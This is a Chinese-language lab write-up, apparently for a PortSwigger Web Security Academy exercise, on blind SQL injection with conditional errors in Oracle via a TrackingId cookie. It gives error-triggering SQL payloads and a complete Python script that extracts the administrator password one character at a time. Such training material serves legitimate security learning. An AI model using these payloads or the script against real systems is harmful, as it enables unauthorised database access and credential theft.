> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-conditional-errors.md).

# 基于条件错误的盲 SQL 注入

基于条件错误的盲 SQL 注入笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 带条件错误的盲 SQL 注入

**背景：** 的值 `TrackingId` cookie 被注入到 SQL 查询中。应用程序不会直接返回结果，而是在 SQL 表达式引发异常时触发 \*\*HTTP 500 错误\*\*（这里 `TO_CHAR(1/0)` 在 Oracle 上）。我们使用这个字符串：如果条件为真 → 错误 500，否则返回 200。该数据库包含一个 `users(username, password)` 表。目标：提取 `administrator` 并连接。

#### 技术原理（快速）

* Cookie 包含一个在条件为真时会强制产生错误的表达式，例如（Oracle）：

{% code overflow="wrap" %}

```sql
' || (SELECT CASE WHEN <condition> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
```

{% endcode %}

* 如果 `<condition>` 为真 → 请求导致除以零 → 应用返回 `500` → 位 = 1。否则 `200` → 位 = 0。
* 使用 `SUBSTR`/`LENGTH` 以逐个字符提取。

#### Oracle 示例载荷

* 验证用户是否存在：

  ```sql
  ' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator') = 'a' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* 测试长度 = 20：

  ```sql
  ' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* 测试位置 i 处的字符：

  ```sql
  ' || (SELECT CASE WHEN (SELECT SUBSTR(password, i, 1) FROM users WHERE username='administrator') = 'X' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```

(`FROM dual` / 结构可以根据注入到应用程序中的请求进行调整。）

### 自动化脚本

```python
#!/usr/bin/env python3

import requests
import signal
import sys
import time
from string import ascii_letters, digits

# 优雅处理 Ctrl+C
def def_handler(sig, frame):
    print("/n中断。正在退出。/n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)

# --- 配置 ---
MAIN_URL = "https://0a8a00f80354f1b1803108ce00e700b6.web-security-academy.net/"
TRACKING_BASE = "HNDtc0c9ybTvqk9m"   # TrackingId 的合法部分
SESSION_VALUE = "ZXuQT8xMsrBLG8KFDqvrccJDGFe8Z6Ra"
TIMEOUT = 6
SLEEP_BETWEEN = 0.15
MAX_PW_LEN = 50           # 要测试的最大长度
ALPHABET = ascii_letters + digits + "!@#$%_-{}[]()"  # 如果你知道字母表，可进行调整

HEADERS = {"User-Agent": "Mozilla/5.0"}

# --- 工具函数 ---
def send_payload(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    try:
        r = requests.get(MAIN_URL, cookies=cookies, headers=HEADERS,
                         timeout=TIMEOUT, allow_redirects=False, verify=True)
        return r.status_code
    except requests.exceptions.RequestException as e:
        print(f"[!] 请求失败：{e}")
        return None

def make_error_payload(condition_sql):
    """
    构建适用于 Oracle 的完整 TrackingId：
    例如：TRACKING_BASE' || (SELECT CASE WHEN <cond> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
    """
    # 将条件包装在针对管理员返回一行的子查询中。
    payload = (f"{TRACKING_BASE}'|| (SELECT CASE WHEN ({condition_sql}) "
               f"THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') ||'")
    return payload

# --- 第 1 步：检测密码长度（可选但有用）---
def detect_length(max_len=MAX_PW_LEN):
    print("[*] 正在检测密码长度...")
    for n in range(1, max_len + 1):
        cond = f"(SELECT LENGTH(password) FROM users WHERE username='administrator') = {n}"
        payload = make_error_payload(cond)
        code = send_payload(payload)
        if code == 500:
            print(f"[+] 检测到长度：{n}")
            return n
        time.sleep(SLEEP_BETWEEN)
    print("[!] 未检测到 <= max_len 的长度；请考虑增大 max_len")
    return None

# --- 第 2 步：逐字符提取 ---
def extract_password(length=None):
    if length is None:
        length = detect_length()
        if length is None:
            # 备用：尝试各个位置直到失败
            length = MAX_PW_LEN

    password = ""
    print(f"[*] 正在提取（假定长度 = {length}）")
    for pos in range(1, length + 1):
        found = False
        for ch in ALPHABET:
            # SUBSTR(password, pos, 1) = 'ch'
            cond = f"(SELECT SUBSTR(password, {pos}, 1) FROM users WHERE username='administrator') = '{ch}'"
            payload = make_error_payload(cond)
            code = send_payload(payload)
            if code == 500:
                password += ch
                print(f"[+] 位置={pos} -> '{ch}'（当前密码：{password}）")
                found = True
                time.sleep(SLEEP_BETWEEN)
                break
            # 每次尝试之间短暂暂停
            time.sleep(0.01)
        if not found:
            print(f"[-] 在位置 {pos} 未找到字符 -> 可能已结束。密码：{password}")
            break
    return password

if __name__ == "__main__":
    # 先检测长度，再提取
    detected_len = detect_length(max_len=30)   # 根据环境调整 max_len
    recovered = extract_password(length=detected_len)
    print(f"/n[=] 已恢复的密码（部分/估计）：{recovered}/n")
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-585f1015331c57ed2e5f870e7880d9048234958c%2F%7B3C0B8C0B-3EB1-47F4-BD9A-BB49DE8B3E9B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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